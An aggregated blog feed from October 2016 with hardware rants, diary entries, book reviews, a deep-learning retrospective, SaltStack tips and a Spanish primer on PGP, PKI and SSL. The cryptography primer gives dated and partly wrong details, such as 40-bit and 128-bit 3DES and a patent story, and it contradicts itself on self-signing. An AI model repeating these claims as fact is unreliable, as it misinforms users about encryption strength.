MacBooks are getting more and more expensive every year, with kinda outdated hardware and shiny stuff I don't need. Also removing the option to upgrade anything really sucks. 3k machine with max 16gigs of RAM?! Touchbar is a gimmick - I don't give a shit about emoji touch screen on my keyboard. I want physical keys that I don't have to look at when I type.

Making things thinner and lighter is nice, but don't sacrifice power or keyboard for it. Same goes for iPhone, if they just made it 2-3mm thicker, and use all of that space for the bigger battery. But it ain't gonna happen.

First time in a long time, I'm thinking about alternatives. Not that I'm going to throw away my laptop and get a new one, but I feel like a need a plan if they continue this way.

Razor laptops seem really sweet, but then I need to choose between Linux or Windows. I consider myself being a UNIX guy, so Linux is clearly a way to go, but as I'm working in a digital agency where Sketch and Adobe are a must. Maybe run them in a virtual machine? We'll see where it goes.

To be honest, I will continue to use the MacBook I own. I would really like to stay on the OSX, it a polished, UNIX like system. But I hate that feeling that Apple doesn't care - "we can make whatever we want and you'll still buy it because there is no better alternative".

Free to Believe Anything

Dan Stroot — Mon, 31 Oct 2016 02:00:00 GMT

When I was growing up, when you read the paper, watched the news, saw a film or a picture, you inherently believed in it. You trusted the reality it portrayed. You trusted in journalism and even believed the news was actually "fair and balanced". Then technology destroyed the business model of traditional journalism.

This post Free to Believe Anything first appeared on Dan Stroot's Blog

Criptografía

GeekWare - Daniel Pecos Martínez — Sun, 30 Oct 2016 23:32:20 GMT

– ¿Qué significa habla, amigo y entra? -preguntó Merry.__– Es bastante claro -dijo Gimli-. Si eres un amigo, dices la contraseña y las puertas se abren y puedes entrar.

– Sí -dijo Gandalf-, es posible que estas puertas estén gobernadas por palabras…

El Señor de los Anillos

J.R.R. Tolkien

Introducción

Gran parte de los aficionados a la informáticave el tema de la seguridad informática y de la criptografía como un tema de grandes especialistas, o en relación con los hackers. Tienen razón, ya que esto es así, porque son los grandes matemáticos los que diseñan los mejores sistemas criptográficos, y son los hackers los que tratan de buscar las posibles vulnerabilidades del sistema. Pero no nos quedemos con solo esta visión de la seguridad informática. Existen hoy en día, gran cantidad de software que nos permite comunicarnos de forma segura con quien queramos (y podamos), como por ejemplo con nuestro banco electronico, cuando hacemos transacciones a través de Internet, o con la tienda virtual donde hemos comprado el último éxito de nuestro artista preferido.

Este tipo de herramientas no son de uso exclusivo para las empresas o autoridades gubernamentales, sino que hay gran cantidad de ellas a nuestra disposición, incluso en código fuente. Solo tenemos que mentalizarnos de que nuestra intimidad puede ser invadida con gran facilidad en cuanto conectamos nuestro ordenador a Internet y hacemos uso de ella. No es que cada vez que nos conectemos haya alguien deseoso de entrar en nuestro ordenador, aunque podría ser, sino que cualquier cosa que se envíe por Internet, podría ser leída por alguien sin demasiadas dificultades. Por ejemplo, cuando contratamos una cuenta de correo a través del web, todos los datos que enviamos para la solicitud, pueden ser leidos por alguien más, a no ser que la web use un sistema de encriptacion de datos (SSL). Pero la cosa no queda solo ahi, ¿estamos seguros que la web que estamos visitando es realmente la web de dicha empresa, y no una copia que alguien ha puesto con la intención de conseguir la mayor cantidad de passwords posibles? La única forma de estar seguros es porque alguien de nuestra confianza acreditará de alguna forma (PKI) que esta web es realmente la que queríamos visitar. Todavía hay más, y es que cuando recibamos correo, éste será almacenado en un disco duro que hay en un ordenador de la empresa a la que hemos contratado el correo, quedando toda la información que recibamos a dicho correo visible para todo aquél que tenga acceso a dicho ordenador. Si en vez de enviar correos “en claro” usaramos algún programa de encriptación (PGP), esto seguiría ocurriendo, aunque ahora ya no podrían ver de que tratan los mensajes, ya que estarían cifrados.

No es que quiera poner a los webmail por el suelo, creo sinceramente que son un buen servicio para todo aquel que no posea un servidor de correo conectado las 24 horas. Solo digo que hay que saber protegerse de lo que pueda pasar y saber con quien se está tratando, cosa altamente importante y extremadamente dificil en Internet.

Algunas definiciones

Cifrado – Descifrado: Proceso a través del cual codificamos la información, de tal forma que solo el receptor sea capaz de entender lo que le enviamos.
Funciones “hash” o resumen
Firmado: La firma digital consiste en pasar una función hash a la información a enviar, y el resultado cifrarlo con nuestra clave privada, para que así el receptor la descifre con nuestra clave pública, y, pasando de nuevo la función hash, y comparando resultados, compruebe que la información no ha sido modificada.
RSA
DES y 3DES
Algoritmos de clave simétrica
Algoritmos de clave asimétrica
Clave de sesión: Es una clave generada automáticamente, que será usada en un proceso de cifrado simétrico, y que sólo tendrá validez durante esa conexión.
Distinguised Name o DN
PKCS 10 o Certification Request: Es la forma de pedir un certificado. Está formado por el DN, la clave pública, todo ello firmado con la clave privada correspondiente (no es un autofirmado).
Certificado x509: Es una clave pública y el DN de esa clave, firmados por una autoridad certificadora, con un formato propio del x509.
PKCS 12: Es un conjunto de certificados y sus claves privadas correspondientes, todo ello protegido con una clave.

PGP

PGP o “Pretty Good Privacy” (Privacidad bastante buena), es el sistema de cifrado de correo más popular y más extendido hoy por hoy. Este sistema cifra el correo que vayamos a enviar para que solo el destinatario sea capaz de leerlo, pudiendo ser también utilizado para certificar que el autor de dicho correo soy yo y no otro cualquiera.

El PGP se basa en sistema de clave asimétrica o de clave pública, con lo que cualquiera que desee utilizarlo precisa tener las 2 claves. PGP basa su seguridad en la incapacidad actual de factorizar numeros enormemente grandes, ya que no se conoce ningún algoritmo que sea capaz de hacerlo, y la única forma de conseguirlo es por fuerza bruta, con la correspondiente tardanza que ello conlleva. En el momento de escribir este documento, se utilizan claves de 1024 y 2048 bits de longitud, siendo las primeras poco recomendadas, ya que con los sistemas actuales pueden ser destrozadas en cuestión de semanas. En cambio con las de 2048 bits, la cosa se alarga durante años, llegando incluso a ser cosa de siglos (si no recuerdo mal).

El modo de funcionamiento del PGP es sencillo: una vez te hayas creado tu par de claves, y hayas firmado tu clave publica con la privada (esto suele ser automático), deberías proporcionar tu clave a alguien de forma segura, para que así te la pudiera firmar, con lo que obtendrías mayor fiabilidad ante el resto de personas. Normalmente cuando se crea o modifica una clave, se suele subir a un servidor de claves gpg, para que pueda estar disponible para la mayor cantidad de gente posible. Hecho esto ya estás en disposición de usar el sistema PGP correctamente, sabiendo que quien reciba el correo podrá certificar que es tuyo.

Es muy importante y obligación tuya, no perder ni poner en peligro tu clave privada, ya que si así ocurriese, deberías anular dicha clave con unos certificados de revocación que deberas generar. El problema que tiene esto es que para crearlos es necesario la clave privada, con lo que si la has perdido no serás capaz de revocar dicha clave, y alguien se podría estar haciendo pasar por ti. Por ello es buena costumbre crear dichos certificados a la vez que el de claves, y guardar la clave privada y el certificado en un lugar seguro.

Aunque este sistema es mejor que no usar nada, tampoco es infalible, ya que como hemos dicho antes, este sistema puede ser franqueado por fuerza bruta, aunque no es éste el único incoveniente que tiene (ya que se puede solucionar usando claves de mayor longitud). Uno de los mayores inconvenientes de este sistema es el propio funcionamiento del sistema, ya que al basarse en anillos de confianza, no hay forma segura de acreditar que una clave es de quien dice ser, mas que por la confianza que tengamos en el que haya firmado dicha clave. Es decir, yo no tengo ninguna otra forma de comprobar que una clave es de alguien mas que por un amigo común a ambos que me certifica que dicha clave es verdaderamente de quien dice ser. Si este esquema lo proyectamos a mayor tamaño, obtenemos un esquema de confianza mutua y cíclica, al que se le denomina “anillo de confianza”.

Debido a este problema, es totalmente imprescindible que no se firmen claves de las que su procedencia no sea totalmente segura, ya que sino se estaría introduciendo una clave falsa en el anillo, y sería totalmente indetectable para los demás. Por eso se suele recomendar que las claves se intercambien mano a mano, y no por Internet.

Otro gran problema, aunque este sea relativo a todos los sistemas de seguridad basados en claves, es que el tiempo que transcurre desde que tú revocas una clave hasta que el resto de Internet sabe de ello puede ser muy grande, o incluso podría pasar que nunca sabrían que esto ha ocurrido. Durante dicho tiempo, podría haber alguien haciendose pasar por otro, si la clave de éste hubiera sido comprometida. Este problema no tiene solución fácil, y es uno de los puntos negros de los sistemas de claves asimétricas.

Como nota final, comentar que hay varios programas que nos permiten usar este sistema de cifrado, como por ejemplo PGP que usa claves del tipo RSA, o GnuPG, que es una versión libre de PGP, por lo que usa claves del tipo DSA y ElGamal, aunque desde la liberación del algoritmo del RSA también es capaz de usar claves de este otro tipo. En The International PGP Home Page encontrarás las útlimas noticias y acceso a diversos documentos en relación con el PGP.

PKI

Este sistema de encriptación se asemeja mucho en el funcionamiento al PGP, ya que también un sistema de clave asimétrica, aunque no son compatibles entre ellos. PKI es un stándard (ISO), en el que se definen los certificados x509, y es una de las diferencias entre el PGP y el PKI. Estos certificados no son más que los datos personales del propietario (DN o “Distinguised Name”), junto con su clave pública, todo ello firmado por una Autoridad Certificadora.

Con este sistema, la clave pública de la que vayamos a hacer uso, es, con total seguridad, la clave de la persona que pretendíamos, ya que los datos que la acompañan así lo demuestran, y además y muy importante, está certificado por la Autoridad Certificadora en cuestión.

Debido a que tenemos gran seguridad de que la clave es auténtica, el PKI se suele usar en transacciones seguras a través de Internet (en conjunto con el SSL, que se encargará de cifrar los datos, ya que el PKI solo se usa a modo de identificación), o cualquier otro tipo de operación que requiera de una identificación segura.

El modus operandi es el siguiente: debes crear un PKCS 10 o “Certificate Request” autofirmado, que contendrá todos tus datos personales, y enviárselo a la autoridad certificadora que creas conveniente. Esta autoridad comprobará de alguna forma que los datos que le has proporcionado son verdaderos, bien citándose contigo, bien reclamando algún documento oficial que te identifique. Una vez que la autoridad se haya cerciorado de que los datos son correctos, creará un certificado x509 a partir del Certificate Request que tú le enviaste y lo firmará. Para una mayor comodidad, podrás crear un objeto PKCS 12, que no es más que un conjunto de certificados y sus claves privadas correspondientes, todo ello protegido con una clave. Este tipo de ficheros es el que más se suele usar en el PKI, y es el sistema usado por Netscape y Explorer.

Cada vez que una pagina web requiera identificacion a través de un certificado válido, el explorador te pedirá el password de la base de datos de certificados que posee, y irá comprobando uno a uno hasta que encuentre alguno que le permita acceder. Todos los certificados que importes a la base de datos del navegador, serán comprobados a través de la autoridad certificadora correspondiente, y serás avisado si algún certificado no es correcto, o la autoridad certificadora que lo ha firmado no es de tu confianza.

Este sistema también se puede usar para el cifrado y firmado de correo, siendo su uso muy parecido al PGP, pero con la fiabilidad que le confiere las autoridades certificadoras.

Si estás interesado en usar PKI, puedes usar OpenSSL, que es una implementación libre de PKI y SSL, teniendo siempre en cuenta las leyes vigentes sobre el uso de la criptografía de tu pais.

SSL

El “Secure Socket Layer” es un capa software, utilizado para cifrar las transmisiones entre ordenadores. Fue concebido por Netscape, aunque hoy en día es uno de los más ampliamente extendidos.

El primer paso que se debe realizar para establecer una transmisión segura es el “Handshake”, después del cual el SSL fragmentará los paquetes a enviar, hará un resumen y los cifrará, para asi poder ser enviados. Dicho así parece muy sencillo, aunque es en el “Handshake” donde tenemos que centrar la atención. Durante este paso, las computadoras realizan varios pasos:

Client Hello: Identificación del cliente.
Server Hello: Identificación del servidor.
Server Key Exchange: El servidor manda su certificado al cliente, el cual comprobará la validez de éste.
Certificate Request: El servidor pide identificación para que el proceso siga adelante.
Certificate Verify: Se comprueba la validez del certificado del cliente.
Client Key exchange: Se generan una claves de sesión que serán cifradas con la clave pública del receptor, y serán enviadas.
Cambio a modo seguro: A partir de este momento se usará algún algoritmo de cifrado simétrico (DES, 3DES, etc) para cifrar los datos, para lo que se usará la clave de sesión recibida, asegurando así que el otro será capaz de descifrar los datos.
Finalización: Intercambio de un resumen de las acciones llevadas a cabo, para una posible comprobación.

Según el tipo de cifrado simétrico que usemos, determinaremos una mayor o menor seguridad de conexión. Por ejemplo cuando hacemos una conexión segura a nuestro servidor de webmail, seguramente estaremos usando 3DES de 40 bits, en cambio si la conexión es a una entidad bancaria, sera muy probablemente 3DES de 128 bits, el cual hasta Septiembre de 2000, sólo podía ser usado con permiso de EEUU, ya que era un algoritmo patentado, no siendolo así el 3DES de 40 bits, que aunque ofrece algo de seguridad, esta es mínima.

Random mazes

TOGoS's Project Log — Sun, 30 Oct 2016 20:13:37 GMT

Random graph-based mazes for you to wander in!

Links - October 30, 2016

Avy Faingezicht — Sun, 30 Oct 2016 03:00:00 GMT

I meant to post these on Wendesday, which became Thursday, which became Friday... then Saturday. But here we are!

2016.10.30

A Holding Company — Sun, 30 Oct 2016 03:00:00 GMT

Woke up to go to Ikea…again. The drawers we didn’t get yesterday were supposed to be in stock today. We went in through the checkout area and were able to secure 2 units of the drawers (Oppland, if that means anything). Wooohoo.

Brought them back, M arrived and we left for D and D’s. D was not happy when we got there. She was expecting us earlier, she said, near tears.

Lazy registration with Redux and Sagas

Gosha Spark — Sun, 30 Oct 2016 03:00:00 GMT

Chicken bicicleta

Blogs on Michail Rybakov — Sat, 29 Oct 2016 17:07:46 GMT

In Guinea laufen Hühner überall rum, sie sind schmal und schmächtig, leicht und knochig wie Rennradfahrer.

2016.10.29

A Holding Company — Sat, 29 Oct 2016 03:00:00 GMT

Saturday was a late start. Woke up with a headache, no good. It was a yuuuge dissapointment. Went to Ikea again, to start buying stuff, ended up buying a kitchen island and deciding on a set of drawers (x2). Seems like this stuff will again be donated once we move, which seems like a waste. Had dinner with B and U - curry and naan. B went off to sleep after that, U, R and I talked for a bit. B and U have it tough, but seem to be doing well and hanging on. Also lighted diyas after many years, which was actually a lot of fun surprisingly. Maybe I just like fire.

Microsoft Surface Studio is Mindblowing

Dan Stroot — Sat, 29 Oct 2016 03:00:00 GMT

Saw the new Microsoft Surface Studio this weekend at the Microsoft store at the South Coast Plaza. I thought the display is pretty mind blowing. I have gotten used to wide screen displays but somehow the resolution and format of the screen just feels right. The display floats in space and fills your field of vision.

This post Microsoft Surface Studio is Mindblowing first appeared on Dan Stroot's Blog

png-font.js

Erico Notes — Sat, 29 Oct 2016 02:25:39 GMT

using a bitmap font to write text on canvas.

When I made the game engine, my first idea was to make everything in English. But then I noticed most people really like localized text, and supporting more languages is as important as supporting many platforms.

When I started writing what you have to be different so I could support different languages, at the end point, I had a problem with my selected pixel font, which didn't supported many characters. And fonts with more characters just were too big in size.

After asking on Twitter, people pointed me to the GNU UNIFONT, and since the Font is awesome and actively maintained, I decided to use it! Paul Hardy sent me a lot of material so I could learn the basics on fonts, which I knew nothing.

Instead of using the true type font, which is around 12MB, I got it's source bitmap, converted it to png, and wrote a js script to allow me get the glyphs from the png and place on html canvas, with the minimal things for a sane use - like word wrapping. Total size is now 840kB, which loads faster!

This lead me to build this tiny js script, the png-font, which you can get here: github.com/ericoporto/png-font . I sent an email to FSF regarding licensing, but I read the GNU embedding exception clause and interpreted that it's ok to use it in this lib with MIT license.

There is also a demo here: ericoporto.github.io/png-font

The Sting

🦉 olshansky 🦁 — Fri, 28 Oct 2016 16:01:51 GMT

Olshansky's review of The Sting

Un monstruo viene a verme

GeekWare - Daniel Pecos Martínez — Fri, 28 Oct 2016 07:43:14 GMT

Es media noche, Conor apenas se despierta luego de tener la misma pesadilla que lo agobia todos los días. Pero, en esta instancia los hechos han sido diferentes, ya que esta vez un monstruo lo espera en el jardín de su hogar, pues el árbol antiguo y robusto que antes solía observar desde la ventana de la cocina, ahora dispone de brazos, piernas y un rostro completamente aterrador.

Sin embargo, el monstruo no pretende asustarlo, tan solo está buscando una cosa: la verdad, algo que Conor no desea contar bajo ninguna circunstancia. Este personaje tiene trece años de edad, y está atravesando una pésima situación, dado a que su madre se encuentra enferma de cáncer, además sufre de acoso escolar y su padre no vive con él, pues vive en América tras conocer a otra mujer.

Pero lo único que el adolescente quiere es que la visita del monstruo suponga el fin de las pesadillas que lo asedian durante todas las noches. Así se produce el desenlace de Un monstruo viene a verme, un libro que hace referencia a las dificultades por la que atravesamos los seres humanos para aceptar una valiosa pérdida y lidiar con los lazos vulnerables que nos mantienen sujetos a la vida.

La aleación perfecta entra la realidad y la ficción

Al comienzo de la historia, da la impresión de que nos estamos adentrando a un cuento de terror, pero al sumergirte más en la lectura de Un monstruo viene a verme, notarás que realmente se trata de una trama muy profunda, que conjuga a la perfección lo irreal con la más severa realidad.

Empleando un vocabulario fácil de comprender, que está al alcance de todo público, el escritor Patrick Ness nos invita tácitamente a reflexionar y a pensar acerca de la realidad antes de pasar cada página. El estilo en que se relata la historia es sumamente impecable y logra que la lectura sea diferible y fácil, por lo que no se torna pesada en ningún momento.

En síntesis, Un monstruo viene a verme despertará en ti un cúmulo de emociones, ya que te hará reír, reflexionar y hasta llorar, pero lo más importante es que podrás disfrutar de los escenarios que se crean en esta historia fantástica.

Merecedor de números premios

Este libro ha sido publicado en diecisiete países y ha sido galardonado con el Premio Nacional Galaxy, gracias a la votación de un grupo de libreros especialistas en el área, también ostenta el Premio The Red House, donde el laurel depende de la decisión de un grupo de niños.

Además, Un monstruo viene a verme es el primer libro en ganar al unísono, dos de los más famosos premios del Reino Unido, que son: la Medalla Kate Greenaway, en virtud de las asombrosas ilustraciones de Jim Kay, y la Medalla Carnegie al mérito literario del escritor, Patrick Ness, aunque la idea de la historia se le atribuye a Siobhán Dowd, la autora de varios libros juveniles, que no pudo culminar el material bibliográfico tras fallecer en 2007.

2016.10.28

A Holding Company — Fri, 28 Oct 2016 03:00:00 GMT

Friday was a relaxed but “feeling guilty” day. I lost a contract, didn’t feel so good. Ended up signing up for workify to build out a store. Decided to focus on Google Apps customization. R and I went to our old place to pick up stuff. Dropped off stuff at Goodwill and brought the rest back with a quick stop in Ikea.

Seeking convergence

Yield Thought — Thu, 27 Oct 2016 20:51:54 GMT

Recently at work I trained a neural network on a supercomputer that took just 3.9 minutes to learn to beat Atari Pong from pixels.

Several people have asked for a step-by-step tutorial on this and one of those is on the way. But before that I wanted to write something else: I wanted to write about everything that didn’t work out along the way.

Most of the posts and papers I read about deep learning make their author look like an inspired genius, knowing exactly how to interpret the results and move forward to their inevitable success. I can’t rule out that everyone else in this field actually is an inspired genius! But my experience was anything other than smooth sailing and I’d love to share what trying to achieve even result as modest as this one was actually like.

The step-by-step tutorial will follow when I get back from holiday and can tidy up the source and stick it on Github for your pleasure.

Part One: Optimism and Repositories

It begins as all good things do: with a day full of optimism. The sun is bright, the sea breeze ruffles my hair playfully and the world is full of sweetness and so forth. I’ve just read DeepMind’s superb A3C paper and am full of optimism that I can take their work (which produces better reinforcement learning results by using multiple concurrent workers) and run it at supercomputer scales.

A quick search shows a satisfying range of projects that have implemented this work in various deep learning frameworks - from Torch to TensorFlow to Keras.

My plan: download one, run it using multiple threads on one machine, try it on some special machines with hundreds of cores, then parallelize it to use multiple machines. Simple!

Part Two: I Don’t Know Why It Doesn’t Work

A monk once told me that each of us is broken in their own special way - we are all beautiful yet flawed and finding others who accept us as we are is the greatest joy in this life. Well, GitHub projects are just like that.

Every single one I tried was broken in its own special way.

That’s not entirely fair. They were perhaps fine, but for my purposes unpredictably and frequently frustratingly unsuitable. Also sometimes just broken. Perhaps some examples will show you what I mean!

My favourite implementation was undoubtedly Kaixhin’s based on Torch. This one actually reimplements specific papers with hyperparameters provided by the authors! That level of attention to detail is both impressive and necessary, as we shall see later.

Getting this and an optimized Torch up and running was blessedly straightforward. When it came to running it on more cores I went to one of our Xeon Phi KNL machines with over 200 cores. Surely this would be perfect, I thought!

Single thread performance was abysmal, but after installing Intel’s optimized Torch and Numpy distributions I figured that was as good as I would get and started trying to scale up. This worked well up to a point. That point was when storing the arrays pushed Lua above 1GB memory.

Apparently on 64-bit machines Lua has a 1 GB memory limit. I’m not sure why anyone things this is an acceptable state of affairs but the workarounds did not seem like a fruitful avenue to pursue versus trying another implementation.

I found a TensorFlow implementation that already allowed you to run multiple distributed TensorFlow instances! Has someone solved this already, I thought? Oh, sweet summer’s child, how little I knew of the joys that awaited me.

The existing multi-GPU implementation blocked an entire GPU for the master instance apparently unnecessarily (I was able to eliminate this by making CUDA devices invisible to the master). TensorFlow itself would try to use all the cores simultaneously, competing with any other instances on the same physical node. Limiting inter- and intra-op parallelism seemed to have no effect on this. Incidentally, profiling showed TensorFlow spending a huge amount of time copying, serializing and deserializing data for transfer. This didn’t seem like a great start either.

I found another A3C implementation that ran in Keras/Theano which didn’t have these issues and left it running at the default settings for 24 hours.

It didn’t learn a damn thing.

This is the most perplexing part of training neural networks - there are so few tools to gain insight as to why a network fails to converge on even a poor solution. It could be any of: * Hyperparameters need to be more carefully tuned (algorithms can be rather sensitive even within similar domains) * Initialization is incorrect and weights are dropping to zero (vanishing gradient problem) or are becoming unstable (exploding gradient problem) - these at least you can check by producing images of the weights and staring hard at them, like astrologers seeking meaning in the stars. * The input is not preprocessed, normalized or augmented enough. Or it’s too much of one of those things. * The problem you’re trying to solve simply isn’t amenable to training by gradient descent.

Honestly at the moment training a neural network to do something even slightly novel feels like rather like feeding a stack of punch cards to a mechanical behemoth from the twentieth century and waiting several hours to see whether or not it goes boink.

Part Three: Rules of Thumb

At times I felt like a very poor reinforcement learning algorithm randomly casting about in the hope of getting some kind of reward at all and paying no attention to the gradient. After realizing the irony of this position I became a little more systematic. If you face the same situation, these rules of thumb might help you too:

Set some expectations for what success or failure will look like that you can test rapidly. If the papers show some learning after 100k steps then run to 100k steps and check your network has made progress. The shorter this cycle the better, for obvious reasons. Remember: staring at a stream of fluctuating error rates and willing them to decrease is the first step towards madness…
Every failure is an opportunity to learn. Ask why these hyperparameters or this network architecture or dataset did not show convergence. How could you disprove that theory? This can be slow, painstaking work sometimes, but I learned a lot. It really, really helps to do this on a network that you already know can work at least once. Play with all the settings and find the points at which it does not and see what those failure modes look like.
Start with a very simple, direct model and get it to show some level of learning, however slight. Then build up gradually from there. This is the single piece of most important advice I ever received.
Be prepared to revisit papers and lecture notes as frequently as you need to to make sure you have a decent mathematical intuition of what is happening in your network and why it might (or might not) converge. It’s not black magic and understanding the principles can make a big difference to your approach.

Part Four: Back to Basics

Following this advice led me to Karpathy’s wonderful 130-line python+numpy policy gradient example. This was the first time I ran a piece of code that actually showed learning right off the bat across a range of systems. You can follow what happened next in my more detailed blog posts about if you haven’t already.

The TL;DR is that I added MPI parallelization and scaled it up on a local machine, then in the cloud, then on a supercomputer. At times it looked like it wouldn’t scale well but this was often because of incidental details I was able to overcome rather than hitting fundamental scaling limits.

Part Five: I Don’t Know Why It Does Work

In the blog I refer briefly to parallel policy gradients working so well because it reduces the variance of the score function estimate. This is worked into the text in an offhand, casual manner designed to make me look like an inspired genius.

What actually happened when the first parallel implementations started converging within hours instead of days is that I was somewhat shocked. My previous experience with using data-level parallelism (in which you split the learning batch across multiple machines and train them all concurrently) had taught me that you quickly reach the point of diminishing returns by adding more parallel learners.

The problem I’d seen in supervised learning was that by doing so you’re increasing the batch size, and extremely large batches don’t converge as quickly as small ones. The literature suggests you can compensate by increasing the learning rate to a certain extent, but I didn’t know of anyone using batch sizes larger than a couple of thousand items.

In this case the effective batch size was already thousands of frame/action pairs on a single process. I didn’t expect to get a lot of mileage out of increasing that by several orders of magnitude and when I did I rather wondered why.

It was only after revisiting the policy gradient theorem that it became clear - each reward received is taken as an unbiased random sample of the expected score function. As long as this sampling is unbiased, the policy gradient method will eventually converge, but such random sampling is extremely noisy and has a very high variance. Most of the more elaborate policy learning methods attempt to minimize this in a variety of ways but simply taking lots and lots of samples is a very scalable and simple way to directly reduce the variance of the estimate too.

In fact by running several thousand games per batch the model only requires 70 weight updates to go from completely random behaviour to beating Atari Pong from pixels. I confess to a certain curiosity as to how low this can go. Pong is not a deep or complex game. Learning a winning strategy in a single weight update would be kinda neat!

Part Six: Finally Something I Can Do

Having seen that the approach was working, actually optimizing this and running it at extreme scale was the only straightforward part of this entire process. This is something I know how to do and something there are very good tools to measure and improve parallel performance. I rather suspect that scalar deep learning will need a similarly large investment in tools surrounding model correctness and debugging before it becomes widely accessible.

Part Seven: Is It Just Me?

So that’s the background to the story - dozens of dead ends, desperate and frustrated rereading of source code and papers to discover sigmoid activation functions paired with the mean squared error costs, single frames passed as input instead of a sequence or difference frame and all manner of other sins before finally managing to get something working.

I’d love to hear from others who have tried and failed or succeeded. Did your story mirror mine with similar amounts of desperation, persistence, surprise and luck? Have you found a sound method for exploring new use cases that I should be using and sharing?

Deep learning is the wild west right now - stories of exciting progress all around but very little hard and fast support to help you on your way. This short yet honest making-of is my attempt to change that.

Happy training!

Sputnik Sweetheart

Apurva Shukla's RSS Feed — Thu, 27 Oct 2016 10:38:20 GMT

⭐ ⭐ ⭐ ⭐ ⭐ Must I say anything? Murakami once again dazzles with his stunning simplicity and expansive writing ability. The novels’ looming…

How to De-Risk a Startup

Coding VC — Thu, 27 Oct 2016 04:45:00 GMT

In a previous post, I wrote that startups are collections of risks, and that the best way to make progress on a company (and to get higher valuations from investors) is to address the biggest risks as quickly and thoroughly as possible.

2016.10.27

A Holding Company — Thu, 27 Oct 2016 03:00:00 GMT

I went to the meeting for MBE businesses in Oakland. Then Comcast to see how to move our internet to our new address: 723 Jackson St. Albany, CA

They said try plugging in a new modem to see if there’s already a connection there. If not, they’ll send out a tech to take a look. Hope it doesn’t take a week to fix the internet.

Cough is better. Ritika left early today, deadline on Friday.

Explaining VarnishHist – What Does it Tell Us

Ben E. C. Boyter — Thu, 27 Oct 2016 02:56:01 GMT

The varnishhist tool is one of the most underused varnish tools that come with your standard varnish install. Probably because of how it appears at first glance.

In short, you want as many | symbols as possible and you want everything far toward the left hand side. The closer to the left the faster the responses are regardless if they are cached or not. The more | symbols then more items were served from cache.

SaltStack Best Practices Cheat Sheet

Wed, 26 Oct 2016 21:48:00 GMT

By design, Salt is not opinionated. That means that its flexibility allows you to create your own patterns and designs for concepts where it makes sense. The best practices outlined here are meant to be suggestions – not doctrine. Thus, this is a living document that evolves over time as your infrastructure’s needs change.

For anything not covered under this guide, defer to Salt Best Practices.

States are atomic and seldom change

Static – the way you install and manage, for example, Vim isn’t likely to change much over the years. Install the package, enforce its config file, ensure that it’s in the system PATH, etc.

Atomic – a State does not require dependencies external to its relevant SLS files.

Idempotency at all costs

The power of Salt means doing a state.apply at any time should never be a problem.

Use Pillars for basic templating

Because we already said that our States are atomic and mostly static, we should move variables out of States and into Pillars. Your States top file says that a target should have NTP, Vim, Nginx, and Tomcat installed, but Pillars should fill in the version numbers, path, passwords, etc.

Go easy on the templating

Templating is great, until it isn’t. Avoid premature optimization because boiling the ocean is an easy way to lose sight of the real problems that need solving. Favor readability.

Maintain local consistency

Global consistency is nice, but don’t be blinded by it:

[…] take a few minutes to look at the code around you and determine its style. If they use spaces around all their arithmetic operators, you should too. If their comments have little boxes of hash marks around them, make your comments have little boxes of hash marks around them too.

The point of having style guidelines is to have a common vocabulary of coding so people can concentrate on what you’re saying rather than on how you’re saying it. We present global style rules here so people know the vocabulary, but local style is also important.

Protonmail - Why I switched and you should too

Blog by Jade Michael Thornton — Wed, 26 Oct 2016 18:00:00 GMT

ProtonMail brings email privacy to the people while maintaining a fantastic user experience characteristic of a first-class email service.

MySQL Dump Without Impacting Queries

Ben E. C. Boyter — Wed, 26 Oct 2016 04:11:01 GMT

Posted more for my personal use (I have to look it up every time) but here is how to run a mysqldump without impacting performance on the box. It sets the ionice and nice values to be as low as possible (but still run) and uses a single transaction and ups the max packet size for MySQL.

ionice -c2 -n7 nice -n19 mysqldump -u root -p DATABASE --single-transaction --max_allowed_packet=512M > FILENAME

NYC

Avy Faingezicht — Wed, 26 Oct 2016 03:00:00 GMT

I spent this past weekend in New York. Each time I have visited the city, I have come back with more respect for it. I'd love to have more time to explore it in the future.

Inferno

GeekWare - Daniel Pecos Martínez — Tue, 25 Oct 2016 07:38:00 GMT

El profesor Robert Langdon se despierta a mitad de la noche en un hospital, con una herida en la cabeza ocasionada por una bala, sin embargo, el docente de simbología no tenía idea de cómo sucedieron los hechos, ya que no recuerda nada de los últimos dos días, tampoco cómo había llegado al centro médico, ni de la procedencia de una objeto macabro que hallaron en el bolsillo de su chaqueta.

Una historia llena de acertijos

Tras lo ocurrido, el mundo de Langdon pronto se transforma en un caos, por lo que se ve obligado a huir por las calles de Florencia, ya que en el hospital donde se encontraba internado una joven buscó asesinarlo. Sin embargo, una inteligente doctora llamada Sienna Brooks, le salva la vida ayudándolo a salir del centro hospitalario. En su huida y con la compañía de la doctora, el profesor irá a reunir información que lo conducirán a nuevos desafíos y retos, que le permitirán descifrar códigos y jeroglíficos, que a medida en que se topa con estos acertijos la trama se va tornando más siniestra e inquietante.

Al tiempo descubre, que no solamente la joven del hospital quería quitarle la vida, sino también unos “hombres de negro”, que estaban equipados con tecnología de punta. Langdon y Sienna recorren escenarios conocidos en Florencia como el Palacio Vecchio y los jardines Boboli, entre otros lugares.

En su camino por las calles, el profesor se encuentra con símbolos, llamativos cuadros, estatuas y sitios con pasadizos secretos por toda Florencia, una parte de Venecia y en Estambul, por lo que no tardará en percatarse de que está ante una conjunto de códigos diseñados por un científico obsesionado con el fin del mundo, que solo es comparable a su atracción que tiene por una de las obras maestras de más reconocimiento en el mundo: Inferno de Dante Aligheri.

Un libro complicado pero logra enganchar

El Infierno de Dan Brown es una lectura complicadamente divertida, que es capaz de cautivar al lector a través de la belleza del arte, la literatura italiana y la historia, mientras que a su vez plantea conjeturas acerca del rol que tendrá la ciencia en los tiempos venideros. Por otro lado, la trama mantiene una coherencia y lógica muy interesante.

Además, nos ofrece una percepción muy llamativa, a medio camino, entre los hechos y las suposiciones sobre la vida y obra de Dante. En la historia se van desnudando paulatinamente la influencia que tuvo el escritor en el concepto cristiano del infierno y cómo su obra influyó en la visión religiosa de otros artistas.

El infierno de Dan Brown y su gran lanzamiento

El Infierno de Dan Brown fue traducido en alemán. Turco, francés, catalán, español, neerlandés, italiano, portugués, entre otras lenguas, todo esto con el propósito de ser lanzado mundialmente de manera simultánea en estos países.

Pero, aunque este libro, tiene sus puntos cuestionables desde la perspectiva de la calidad narrativa, aun así, logra enganchar al lector e introducirlo en un universo de maquinaciones y conspiraciones del que difícilmente se puede huir una vez que se entra en él.

Xcb, X11, Xlib, Wayland?

Venam's Blog — Patrick Louis (Lebanon) — Mon, 24 Oct 2016 20:00:00 GMT

